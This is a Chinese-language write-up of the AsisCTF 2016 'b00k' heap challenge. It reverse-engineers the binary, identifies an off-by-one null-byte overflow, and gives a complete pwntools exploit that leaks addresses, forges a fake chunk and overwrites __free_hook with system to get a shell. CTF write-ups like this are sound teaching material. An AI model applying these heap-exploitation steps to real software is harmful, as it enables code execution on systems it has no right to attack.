AsisCTF 2016 b00k

程序分析

首先checksec查看程序的保护机制,可以看到除了canary其他保护都开启了。

其次运行程序,先观察一下程序大致流程,方便后面的代码分析。
这里我们可以看到,这是一个菜单题,总共有5个功能,分别是增加book、删除book、修改book的description、输出book的详细信息以及修改作者名字。

然后用ida64打开对应的二进制文件,通过前面的分析,把主函数调用的各个函数重新命名一下, 方便我们记忆。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  __int64 savedregs; // [rsp+20h] [rbp+0h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  sub_A77(v3, 0LL);
  change_name();
  while ( menu(v3) != 6 )
  {
    switch ( &savedregs )
    {
      case 1u:
        create();
        break;
      case 2u:
        delete();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        show();
        break;
      case 5u:
        change_name();
        break;
      default:
        v3 = "Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

我们一个一个函数分析,首先看create函数,这个函数用来创建一个book,每一个book共包含了id变量、name指针、des指针、size变量。
这里笔者只取了部分代码:

if ( struct_ptr )
{
  *(struct_ptr + 6) = size;
  *(off_202010 + id) = struct_ptr;
  *(struct_ptr + 2) = des_ptr;
  *(struct_ptr + 1) = name_ptr;
  *struct_ptr = ++unk_202024;
  return 0LL;
}

注意:这里的off_202010应该是一个结构体指针数组,off_202010+1就是数组第二个元素的地址,*(off_202010+1)就是数组第二个元素的值。
然后根据上面的代码,可以发现这个数组里面存储的都是结构体指针,然后每个结构体指针指向一个结构体,结构体有对应的id、name_ptr、des_ptr、size。

再来看delete函数,它用来删除指定id的book实例,代码如下:

signed __int64 delete()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(*(off_202010 + i) + 8LL));
      free(*(*(off_202010 + i) + 16LL));
      free(*(off_202010 + i));
      *(off_202010 + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!", &v1);
  }
  else
  {
    printf("Wrong id", &v1);
  }
  return 1LL;
}

根据上面的代码,我们发现delete功能会先遍历数组元素,查看指定id的元素是否可以删除,可以的话就依次free掉name_ptr、des_ptr和id,然后把数组对应位置清零。

再来看edit函数,这个函数用来修改指定book的description:

printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
  for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i )
    ;
  if ( i == 20 )
  {
    printf("Can't find selected book!", &v1);
  }
  else
  {
    printf("Enter new book description: ", &v1);
    if ( !my_gets(*(*(off_202010 + i) + 16LL), *(*(off_202010 + i) + 24LL) - 1) )
      return 0LL;
    printf("Unable to read new description");
  }
}

我们发现edit是通过一个作者自己定义的my_gets函数(这里是笔者自己改的名字)来获取用户的输入并且写入指定的缓冲区,比如这里就是写入*(*(off_202010 + i) + 16LL),根据前面的分析也就是写入第i本书的description部分,大小为*(*(off_202010 + i) + 24LL) - 1,也就是description_size-1。
在分析下一个函数之前,我们先来看一下这个自定义的my_gets函数:

signed __int64 __fastcall my_gets(_BYTE *ptr, int size)
{
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *buf; // [rsp+18h] [rbp-8h]

  if ( size <= 0 )
    return 0LL;
  buf = ptr;
  for ( i = 0; ; ++i )
  {
    if ( read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == '\n' )
      break;
    ++buf;
    if ( i == size )
      break;
  }
  *buf = 0;
  return 0LL;
} 

注意:仔细分析一下这里的代码,就会发现倒数第3行的*buf = 0;会造成空字节溢出,当用户输入字符数≥size时,跳出for循环,这时*buf指针由于在循环中执行过++buf,那么*buf=0就会在缓冲区溢出1字节的地方置零
再来看show函数,这个函数主要是把每个book结构体的内容输出出来:

if ( v0 )
{
  printf("ID: %d\n", **(off_202010 + i));
  printf("Name: %s\n", *(*(off_202010 + i) + 8LL));
  printf("Description: %s\n", *(*(off_202010 + i) + 16LL));
  LODWORD(v0) = printf("Author: %s\n", off_202018);
}

这里可以比较清晰地看到id、name、description以及author_name分别在什么位置。
最后是change_name函数,这是调用了my_gets来修改author_name的函数,实现比较简单:

signed __int64 change_name()
{
  printf("Enter author name: ");
  if ( !my_gets(off_202018, 32) )
    return 0LL;
  printf("fail to read author_name", 32LL);
  return 1LL;
}

到此为止整个程序的流程就大致分析完毕了。

漏洞分析

首先,我们验证一下在my_gets函数中发现的可能存在的单空字节溢出的问题,稍微注意看每个调用my_gets函数的地方就会发现,只有在调用change_name的时候,my_gets的第二个参数(也就是size)是没有“-1”的,这也就是说change_name的时候我们可以把buf填满,然后就会溢出一个0字节。
Talk is cheap,我们先看把author_name填满0x20字节,并且创建2个book时,内存的分布情况:

set_author_name('A'*0x20)
create(0x20,'AAAA',0x1000,'BBBB')
create(0x20,'CCCC',0x21000,'DDDD')

这里可能会有疑问:不是说会溢出一个空字节吗?这里没有看到的原因是我们先调用change_name,的确溢出了一个空字节;但是我们又调用了create创建了book1,book1_ptr把\x00这个字节给覆盖掉了而已。
不信的话,我们在创建book之后再调用一次change_name,观察内存情况:

set_author_name('A'*0x20)
create(0x20,'AAAA',0x1000,'BBBB')
create(0x20,'CCCC',0x21000,'DDDD')
change('A'*0x20)

如此一来,就验证了change_name这个函数是存在off-by-one漏洞的。

利用思路

1.先设置author_name为0x20个字符,使得\x00溢出;然后再创建book1(name_size=0x20,des_size=0x1000),此时根据之前的debug可以看出book1_ptr会覆盖掉溢出的\x00,使得author_name与book1_ptr连在一起,通过show即可获得book1_ptr的地址。

2.我们再创建一个book2(name_size=0x20,des_size=0x21000),其中重要的是des_size要填得足够大,为的是让堆分配器使用mmap分配,然后debug使用vmmap查看libc.so的地址(除了heap的第一行的起始地址),用book2_des_ptr的地址减去查到的地址就是vmmap分配的地址与libc_base的偏移offset,这个值是一个定值,之后再次运行程序,虽然book2_des_ptr地址不同,但是用book2_des_ptr-offset即可得到libc_base,进而得到各个函数真实地址。

3.通过debug观察book2结构体中,存放book2_name_ptr和book2_des_ptr两个指针的地址与泄露的book1_addr之间的关系,发现如果创建一样的book2,存放两指针的地址与泄露出来的book1_addr的偏移是固定的;例如这里,得到book2_name = book1_addr+0x68book2_des = book1_addr+0x70,这样我们就获取到了存放book2_name_ptr和book2_des_ptr这两个指针的地址。

4.接着利用off-by-one漏洞,再次调用change_name函数,这样一来book1_addr的低1字节会变成\x00,然而改变后的地址实际上指向了book1_des的范围内,也就是说,如果我们一开始在book1_des中伪造了一个fake_chunk,那么在调用了change_name之后,原来的book1_ptr就会指向我们的fake_chunk,于是我们伪造fake_chunk为新的book1。

5.在fake_chunk中,设置id=1、fake_name_ptr=book2_des、fake_des_ptr=book2_name、size=0xffff,这样一来,我们调用edit修改book1的des实际上就是修改了book2_name_ptr这个指针,注意这里调用edit修改book2的des修改的是book2_des_ptr这个指针指向的值。

6.这里我们用edit将book1的des修改成p64(binsh_addr)+p64(free_hook),根据上一步我们明白这就是将book2_name_ptr改为binsh的地址、将book2_des_ptr改为__free_hook;然后再调用edit将book2的des修改成p64(system),也就是将book2_des_ptr指向的值改为system的地址。这样一来,当我们调用delete(book2_id)时,根据之前delete的分析,会有free(book2_name),也就是free(binsh_addr),根据__free_hook的调用规则,会把free的参数作为hook函数的参数,__free_hook指针指向的地址作为函数地址,之前已经把__free_hook指向了system,于是就会调用system(binsh_addr),从而getshell。

利用脚本

# coding: utf-8
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
io = process('./b00ks')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

def set_author_name(name):
   io.sendlineafter('Enter author name: ', name)

def create(name_size, book_name, des_size, book_des):
    io.sendlineafter('>','1')
    io.sendlineafter('name size: ', str(name_size))
    io.sendlineafter('name (Max 32 chars):', book_name)
    io.sendlineafter('description size: ', str(des_size))
    io.sendlineafter('description:', book_des)

def delete_book(book_id):
    io.sendlineafter('>','2')
    io.sendlineafter('Enter the book id you want to delete:',str(book_id))

def edit(book_id, book_des):
    io.sendlineafter('>','3')
    io.sendlineafter('Enter the book id you want to edit:', str(book_id))
    io.sendlineafter('Enter new book description:', book_des)

def show():
    io.sendlineafter('>','4')

def change(name):
    io.sendlineafter('>','5')
    io.sendlineafter('Enter author name:', name)

set_author_name('A'*0x20)
create(0x20,'AAAA',0x1000,'BBBB')
create(0x20,'CCCC',0x21000,'DDDD')
show()
io.recvuntil('Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success('book1_address='+hex(book1_addr))
book2_name = book1_addr+0x68
book2_des = book1_addr+0x70
edit(1, b'B'*0xf20+p64(1)+p64(book2_des)+p64(book2_name)+p64(0xffff))
change('A'*0x20)
show()
io.recvuntil('Name: ')
book2_des_addr=u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
io.recvuntil('Description: ')
book2_name_addr=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
log.success('book2_name_addr='+hex(book2_name_addr))
log.success('book2_des_addr='+hex(book2_des_addr))
# 查看vmmap查看heap下面一行的地址,用book2_des_addr减掉它得到book2_des_addr与libc基址的固定偏移量,下次运行地址变了,用book2_des_addr减去偏移就是libc_base
offset=0x10
libc_base = book2_des_addr-offset
system_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b"/bin/sh"))
log.success('sys_addr = '+hex(system_addr))
log.success('free_hook_addr = '+hex(free_hook_addr))
log.success('bin_addr = '+hex(binsh))
log.success('offset='+hex(offset))
edit(1,p64(binsh)+p64(free_hook_addr))
edit(2,p64(system_addr))
delete_book(2)
#gdb.attach(io)
#pause()
io.interactive()

总结

这个题目做了挺久,收获到了一些比较有用的知识点,比如gdb使用search查询字符串地址、mmap分配的地址和vmmap查看的地址相减获得固定偏移等等。
感觉需要对结构体指针数组这个数据结构更加敏感一些,这样能够更快理清程序结构。
还有就是关于堆溢出的getshell的理解,以目前做的题来说,都是通过构造一个fake_chunk来控制某个指针,当能够任意修改指针之后,再修改指针的内容,比如这里修改指针为__free_hook,修改指针内容为system_addr。

posted @ 2021-02-16 18:13  Jasper_sec  阅读(228)  评论(0编辑  收藏  举报